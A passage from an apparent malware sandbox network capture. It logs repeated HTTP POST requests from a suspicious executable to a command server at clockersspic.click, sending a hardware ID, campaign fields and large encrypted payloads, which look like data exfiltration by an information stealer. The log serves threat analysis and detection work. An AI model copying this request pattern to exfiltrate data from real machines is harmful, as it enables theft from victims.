5a 49 68 75 32 4c 4e 6b 39 74 59 65 42 51 4b 76 72 77 6b 68 35 61 32 77 43 Data Ascii: A6QR7nYR/1WEADgtB6glHlkHXj1BtEJbrrNxHH4PNON31pYJ44QbhFBxnikGKMbtipZ/bWX2Ewr69JYaL1vhN5W11Osj1W92oHTcHXOs9UpsY21MsQQj2+7igl8uDxTHtaUEi8ch/1RkADgpZ+n13pmTr23BoHffmiSXei7PRbNHVQErk8X/VVTkKCgTTXA6jeZLGeXQAwq74PLPTuuXUHV0VZrzEThEcETdeUZIhu2LNk9tYeBQKvrwkh5a2wC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:15:58 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TX7X1KAY2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12785 Host: clockersspic.click
2025-01-03 20:15:58 UTC	12785	OUT	Data Raw: 2d 2d 54 58 37 58 31 4b 41 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 44 33 30 44 39 42 38 31 41 38 39 36 35 35 31 36 42 38 42 38 34 41 42 32 32 30 30 42 39 36 0d 0a 2d 2d 54 58 37 58 31 4b 41 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 58 37 58 31 4b 41 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 0d 0a 2d 2d 54 58 37 58 31 4b 41 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --TX7X1KAY2Content-Disposition: form-data; name="hwid"60D30D9B81A8965516B8B84AB2200B96--TX7X1KAY2Content-Disposition: form-data; name="pid"2--TX7X1KAY2Content-Disposition: form-data; name="lid"yau6Na--957080957--TX7X1KAY2Content-
2025-01-03 20:15:59 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:15:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ak6t32umo1rp0jmv6poboj9lrs; expires=Tue, 29 Apr 2025 14:02:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TVIQEFF4uqncJpgwnlb5hr0JGkA0ZQ%2FOht5Iq5rMz87VT5EeBhdhRI2n3OY4069GWcXjJTWfw5OAVgGw4pVv58IBcvrwQHXY2jI4HiKQnDQ29wFdJ9%2BoK5E0LQWqf4U6Kg6SNeU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5a9f9af4b7d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1906&min_rtt=1848&rtt_var=735&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13718&delivery_rate=1580086&cwnd=218&unsent_bytes=0&cid=1f0afeb5d2034146&ts=648&x=0"
2025-01-03 20:15:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 20:15:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:16:00 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LVTTT701N5ATDW5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15063 Host: clockersspic.click
2025-01-03 20:16:00 UTC	15063	OUT	Data Raw: 2d 2d 4c 56 54 54 54 37 30 31 4e 35 41 54 44 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 44 33 30 44 39 42 38 31 41 38 39 36 35 35 31 36 42 38 42 38 34 41 42 32 32 30 30 42 39 36 0d 0a 2d 2d 4c 56 54 54 54 37 30 31 4e 35 41 54 44 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 56 54 54 54 37 30 31 4e 35 41 54 44 57 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 0d 0a 2d 2d 4c Data Ascii: --LVTTT701N5ATDW5Content-Disposition: form-data; name="hwid"60D30D9B81A8965516B8B84AB2200B96--LVTTT701N5ATDW5Content-Disposition: form-data; name="pid"2--LVTTT701N5ATDW5Content-Disposition: form-data; name="lid"yau6Na--957080957--L
2025-01-03 20:16:00 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:16:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cs9jnptlb4cd9o2jn61brmre9n; expires=Tue, 29 Apr 2025 14:02:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FGZKFTnrgW4hAoYfQZ0ejMhERAZkknwqdFEM2z%2BYgsTG%2Fc4qbDEbbPbYnv6Mk1X%2F%2F%2FHFyqsZwTPtZdy2G20sSiYDun8puj7oIb89yKjYqv3DWP%2BGM6uvWXg2C8vy5WcVZdmKdlk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5aa018b0043e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1579&rtt_var=613&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=16002&delivery_rate=1755862&cwnd=229&unsent_bytes=0&cid=27f9beeeb31f4833&ts=562&x=0"
2025-01-03 20:16:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 20:16:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:16:01 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=34M9OE309 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20517 Host: clockersspic.click
2025-01-03 20:16:01 UTC	15331	OUT	Data Raw: 2d 2d 33 34 4d 39 4f 45 33 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 44 33 30 44 39 42 38 31 41 38 39 36 35 35 31 36 42 38 42 38 34 41 42 32 32 30 30 42 39 36 0d 0a 2d 2d 33 34 4d 39 4f 45 33 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 34 4d 39 4f 45 33 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 0d 0a 2d 2d 33 34 4d 39 4f 45 33 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --34M9OE309Content-Disposition: form-data; name="hwid"60D30D9B81A8965516B8B84AB2200B96--34M9OE309Content-Disposition: form-data; name="pid"3--34M9OE309Content-Disposition: form-data; name="lid"yau6Na--957080957--34M9OE309Content-
2025-01-03 20:16:01 UTC	5186	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 Data Ascii: un 4F([:7s~X`nO`i`
2025-01-03 20:16:02 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:16:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s88n79ue0sch4dithk6irffb2s; expires=Tue, 29 Apr 2025 14:02:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aQEzyDHJFbRbSffE0h%2FwSDzznBOkFdvqQCj6LhUHqIRzKwDm40JVQagcs%2FqSUEc79DKDFW2WAuoruJsHcvNJ%2BOF6MoP6es6QERv%2BgeQYqVO0r48RhDd6plMVpQZnuWnMUrWyrb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5aa093c8b5e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2202&min_rtt=2159&rtt_var=841&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21472&delivery_rate=1352477&cwnd=209&unsent_bytes=0&cid=bc3755e95919f7b7&ts=1289&x=0"
2025-01-03 20:16:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 20:16:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:16:03 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AV6ZD0HDXUB2MNIS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: clockersspic.click
2025-01-03 20:16:03 UTC	1233	OUT	Data Raw: 2d 2d 41 56 36 5a 44 30 48 44 58 55 42 32 4d 4e 49 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 44 33 30 44 39 42 38 31 41 38 39 36 35 35 31 36 42 38 42 38 34 41 42 32 32 30 30 42 39 36 0d 0a 2d 2d 41 56 36 5a 44 30 48 44 58 55 42 32 4d 4e 49 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 56 36 5a 44 30 48 44 58 55 42 32 4d 4e 49 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 0d 0a Data Ascii: --AV6ZD0HDXUB2MNISContent-Disposition: form-data; name="hwid"60D30D9B81A8965516B8B84AB2200B96--AV6ZD0HDXUB2MNISContent-Disposition: form-data; name="pid"1--AV6ZD0HDXUB2MNISContent-Disposition: form-data; name="lid"yau6Na--957080957
2025-01-03 20:16:07 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qfek9766k7gvu0kegaqebqsv1q; expires=Tue, 29 Apr 2025 14:02:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bQvnaz3ekJxA9109jl%2BO%2BvFLHwfQK8Kl0I3aNKRMOeRQrW1Q6CJyfFtw5LmkLUtIBmjCNrPRv5sX68v7zC1JGGY2lyT8arNurVpS8OQNR2Q%2FZ3nRODfuo5on0sdKYE6lH3v8dQ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5aa1659600f74-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8603&min_rtt=1716&rtt_var=4889&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2150&delivery_rate=1701631&cwnd=151&unsent_bytes=0&cid=f865ec5c3ae30350&ts=4309&x=0"
2025-01-03 20:16:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 20:16:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:16:08 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TPSGR9VZ8CC3OFJZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569682 Host: clockersspic.click
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 2d 2d 54 50 53 47 52 39 56 5a 38 43 43 33 4f 46 4a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 30 44 33 30 44 39 42 38 31 41 38 39 36 35 35 31 36 42 38 42 38 34 41 42 32 32 30 30 42 39 36 0d 0a 2d 2d 54 50 53 47 52 39 56 5a 38 43 43 33 4f 46 4a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 50 53 47 52 39 56 5a 38 43 43 33 4f 46 4a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 0d 0a Data Ascii: --TPSGR9VZ8CC3OFJZContent-Disposition: form-data; name="hwid"60D30D9B81A8965516B8B84AB2200B96--TPSGR9VZ8CC3OFJZContent-Disposition: form-data; name="pid"1--TPSGR9VZ8CC3OFJZContent-Disposition: form-data; name="lid"yau6Na--957080957
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 01 7f 06 a1 a9 52 3d fb e3 60 7f 09 24 b7 2e a2 da 26 d7 44 bb 4b 06 63 98 c2 a4 cf fa 93 f2 00 63 7b fc 3d de 9c 42 cb f2 d4 55 a7 18 ab 11 ce 99 e5 8b 52 67 d7 11 7c eb 49 89 fc 13 1b c1 8f b2 87 28 a7 e8 65 c6 e9 57 4a 69 05 1f ef d3 44 be 4e a9 b1 3b d5 f2 c3 d4 98 89 1f 23 34 2b 5b 03 18 06 ed ca 6f cf 39 eb 81 25 99 de dc ec c4 2b 7f ef 7f ff 41 24 4d 58 23 c5 db 10 eb af d3 93 ae e1 42 9a 44 1d 60 75 79 54 f2 8b 2a 9d d5 aa d9 6b d0 1a 34 5a 13 a4 74 db da 12 ca d1 43 a9 c9 ff 30 a8 45 3a b6 b8 78 ff e9 25 84 a3 15 42 63 97 f3 1e 9f fa 5b 97 eb 13 e3 75 2f f8 1d 29 db 15 fa 4b 6d 9e d4 19 73 4c b1 80 98 1a e6 5b 78 ce 45 80 3f 40 92 b4 76 63 34 21 95 7f 7b 3c 53 79 22 31 24 d2 6e 3d 2a e0 44 44 de a8 fe 69 41 5b 17 17 65 94 c1 2d 42 2f 7c 99 3b b2 Data Ascii: R=`$.&DKcc{=BURg\|I(eWJiDN;#4+[o9%+A$MX#BD`uyTk4ZtC0E:x%Bc[u/)KmsL[xE?@vc4!{<Sy"1$n=DDiA[e-B/\|;
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 49 0a f1 7b 4e 15 78 33 7e 30 be 2b cb 16 b4 53 92 71 d6 92 82 f7 3e c6 96 cd db b8 61 66 96 67 48 05 ba cc 09 b9 58 88 bb f3 eb 84 73 e6 46 de d9 ba f4 83 9d e5 7c e2 b2 4d 59 ec 42 4a 90 12 31 0d d5 89 7e da 20 ca 96 1e fa a8 7b 02 8e d7 1c b2 ec 8c 0f 1b 8c 5f 73 ae e4 85 cb b1 0a cd 37 65 8d 49 e6 14 cf 92 f8 64 8e f0 8f 73 2e 58 ba aa b0 4c bf 82 05 e3 e0 66 49 4d 62 8c d5 87 43 ab 3d d6 6c 84 79 d8 ca 0d 7a 5d 36 ee 4d 54 59 10 95 44 91 be ee 98 82 1e 47 45 83 20 7f bc d8 d8 17 d1 84 7d ea 89 27 de 2a a7 2f 63 5f fb 15 5b 49 9c 3f c2 ee a8 44 cd cf 91 1b 63 94 bd 08 6b 77 a8 15 a8 80 42 aa 11 37 55 23 8d 25 62 72 22 9d 61 b5 e8 22 d4 41 da 59 20 ea 7a bb c3 e3 2f c2 63 65 06 f5 cd f7 c1 4e 86 39 f3 cf f4 43 54 d9 c9 a5 a5 87 c5 29 1e 0e 7b d3 4a e1 Data Ascii: I{Nx3~0+Sq>afgHXsF\|MYBJ1~ {_s7eIds.XLfIMbC=lyz]6MTYDGE }'*/c_[I?DckwB7U#%br"a"AY z/ceN9CT){J
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 1f 13 50 c7 b4 02 66 97 42 e3 e2 af 1c 57 fd f0 99 12 64 41 ee d3 52 32 12 00 9d 8f 5d f9 82 3f b0 63 03 04 78 65 4d 52 ff 38 10 f2 0e 91 ca d0 92 60 86 11 6a 25 b3 9f d7 e1 65 11 0b 83 b2 9d 34 81 8d 4e 61 dc 35 95 84 e0 d5 bb 2d 36 43 91 e8 a8 99 5d 0a 6d aa 55 87 7b 3d 3c d8 d3 4a 81 c8 e7 f8 cb 56 e9 b1 dd 62 0e 22 c0 c6 35 b3 7d 81 fd b7 54 e2 f7 16 c3 f0 96 45 c6 ca a8 28 ce 9f eb b0 8e 60 29 2c cc 6a 39 34 55 d0 7f 0e ac fa 2e 62 ca b7 53 0e 2a dd f7 22 06 b7 47 7d ba fc ab fe 08 d0 9d 8d 7f 4a 5d df 34 96 7b ff a1 63 4f fc ab af a5 37 86 86 58 3f 86 57 94 be a7 87 f8 22 2e 7d af aa 27 9a bb d5 98 2c 7a 34 4d d0 45 c3 12 39 8c 3f 67 58 88 90 24 e2 c7 87 6b 98 8e 1b 8a 4b 55 1b 9f cb b0 3d ae bd 5a 3b 88 f2 ac f1 c8 e5 38 4e 5f 4c e4 38 a9 e3 e3 49 Data Ascii: PfBWdAR2]?cxeMR8`j%e4Na5-6C]mU{=<JVb"5}TE(`),j94U.bS*"G}J]4{cO7X?W".}',z4ME9?gX$kKU=Z;8N_L8I
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 40 ae db 1e 82 fb 97 f0 ac 94 e4 22 9e cc d2 6e 99 e2 02 12 1f 24 c0 eb 5d 6f f1 d4 54 a1 73 b4 74 30 0c ce 07 f4 ae 9b c9 29 1d ed cb 82 80 38 e8 c5 be 99 b7 2f 36 4e d1 7b 91 8f e6 be 14 6f 80 d2 de 99 ff 91 8f b0 55 c0 7e 2d 11 81 07 b7 12 a9 c9 3e 34 83 95 76 03 94 24 fe 6a 26 0a 6f 3b 14 7e 01 5f 57 ea 5a 8e 59 3b 48 56 f1 40 fe dc 3f 35 89 13 60 be 98 4d ae f3 17 1f 3b a5 10 59 66 59 2c 9d 92 8c 1c 47 31 d9 17 5b d5 ee 2f 8a 09 62 24 5e ba e3 3b 44 da 88 8c ee 13 ee d5 e9 f3 b9 5a 40 1d 9c 4d 75 cd 93 69 58 7c 65 9b 78 e3 4f eb 70 b7 f8 0c fe bc f7 55 95 0c dd 90 c8 df f1 3d 97 69 99 e5 68 7e d1 8b 0f 6f 6e 5d 6c 43 36 c8 2d 84 5a d4 b8 dd fb eb 20 fd c5 3b d1 22 9e 6f c9 3c 2d 36 5c 00 21 8b c2 30 eb 4d ee 99 4f 36 d5 10 33 42 ca 94 fc 07 e5 f6 5e Data Ascii: @"n$]oTst0)8/6N{oU~->4v$j&o;~_WZY;HV@?5`M;YfY,G1[/b$^;DZ@MuiX\|exOpU=ih~on]lC6-Z ;"o<-6\!0MO63B^
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 9e fd 0f 0a 85 76 de 77 8f 87 4f 59 1a ea e6 69 fc c6 fc 0e f2 9f be 88 8f e9 74 2a 63 f9 09 11 fb 23 92 b5 dc e4 61 25 29 b7 31 ee 41 ed 1c 75 53 c3 91 31 00 6e 8d 2a a6 2b a6 0d f1 21 46 20 ab 50 0b 44 f3 02 25 40 da 6a c9 a6 6e 25 9a 8b 00 81 52 6e 89 7a 6c 94 1e 4c 95 f4 a4 fe f6 6d 6b 46 00 1a 48 fa 97 16 d2 f6 84 b6 0b cc 23 ac e9 5f a9 79 af 7f a4 e6 3d 00 fc ee eb 27 eb 06 86 2a 4f d1 25 c2 14 80 9e a2 de 0b a5 77 1e e9 6a 56 05 ba c8 ba 96 04 f9 16 9d f2 16 1b d2 e1 07 84 8e ef 68 10 de 55 88 2e 3e f1 4a 00 57 f2 09 f5 d1 fc 48 d1 dc 9b 1b 9f a0 c1 db 04 42 8d 11 92 84 b5 84 c1 aa 2c 47 50 14 08 7d 81 fe 67 e9 75 ab 81 22 b2 d7 1b 88 71 ca 61 bb ed e0 14 1e 11 76 aa fb 45 78 69 d5 fb 45 28 64 f2 3b 0f 21 a6 1f 20 93 11 44 e8 c9 9f 8f 85 27 99 67 Data Ascii: vwOYitc#a%)1AuS1n+!F PD%@jn%RnzlLmkFH#_y='*O%wjVhU.>JWHB,GP}gu"qavExiE(d;! D'g
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 2e bb 54 4d f2 fd 96 d6 e7 f3 79 8f f6 93 ff 58 c7 4b fc 61 a4 c8 a2 c7 4e 76 72 7f 0f 50 be cc cd a5 16 29 e1 02 85 f5 e6 bb 1c e7 1f 31 18 3d c1 73 0b 22 94 e3 77 ed 9a aa df af 3a d7 18 c7 81 9f 71 f5 2a 87 e8 c4 fe 70 10 72 76 18 75 65 59 72 de 2a d6 a8 1d 21 f0 78 e6 da e7 75 d6 df 41 78 a4 f4 77 47 50 6d dd b0 ce fa 52 5f 00 da 77 6b bc ee ac 5b 92 0d 33 7d a6 aa 73 5f 4c b0 e7 66 c7 a7 08 d5 5d b4 2f 79 0b b3 06 15 0d 56 bd 61 5a ef ab 26 4e 90 fb 94 65 4e 10 6c cf e6 4b 9e c1 83 97 c8 27 f2 6e d0 ca 3b 4a 0d e4 dc 1f e7 ea b9 9f be 90 76 49 6c 66 a0 c2 40 df 9b 49 5e 96 a4 72 c6 cc 22 a8 a4 ad 8a a0 b6 b9 b4 8d 2f 59 9c fe cf db 8d d5 ef 29 fd d7 2b 0f 55 7e 90 18 0c 6b c4 b3 87 7a 3e 7f dd 4a ac a9 92 cc bb dd e2 02 ba 7f ac 90 36 0b 58 73 29 35 Data Ascii: .TMyXKaNvrP)1=s"w:qprvueYr!xuAxwGPmR_wk[3}s_Lf]/yVaZ&NeNlK'n;JvIlf@I^r"/Y)+U~kz>J6Xs)5
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 35 f9 f4 09 03 54 1a 05 df 25 b1 50 d5 1d 75 4b 27 dd f2 03 d8 5c 91 09 a4 7e f6 d4 ba 93 d1 ae d1 f0 70 71 eb d6 2d 23 54 2b ce fa fd 1f 57 d9 95 1f 3b 85 74 c1 77 5d 5d c1 3f c2 84 17 cc 0c 58 16 a8 7d 03 91 62 b3 c2 d4 cb 01 1c a6 b4 36 fd ef 2d a5 af aa b7 56 a3 15 19 f7 36 49 66 d3 a9 ef 49 a2 1e 7b 47 68 07 c6 34 98 a3 ed b3 2b 8f ff 1a 5f b4 06 0f d4 76 98 97 f1 4f 8a c0 f2 13 c6 13 e5 4b 3b 37 8c 93 b9 11 4e 43 fa 0e a6 9c ba c8 92 f5 f0 0f 8b f5 6f d8 35 5e 5b ac 9a 8f b6 bf 73 17 3c 15 73 a2 9d 19 37 58 c6 b7 c2 ea 7a d9 59 c2 bb 95 67 87 e6 1c 5d 44 56 2c d6 d9 73 ef 0d 71 68 f4 5c 0b 7f df 5e 30 77 b4 2e 9a 73 fd 95 b5 20 21 8c 0a fa 3e 09 9f 57 88 54 c7 65 24 e2 5e 87 60 b4 af 96 0b a1 df 2b b8 30 bb 4a 20 d6 14 06 27 a3 d2 9c 28 58 32 24 4b Data Ascii: 5T%PuK'\~pq-#T+W;tw]]?X}b6-V6IfI{Gh4+_vOK;7NCo5^[s<s7XzYg]DV,sqh\^0w.s !>WTe$^`+0J '(X2$K
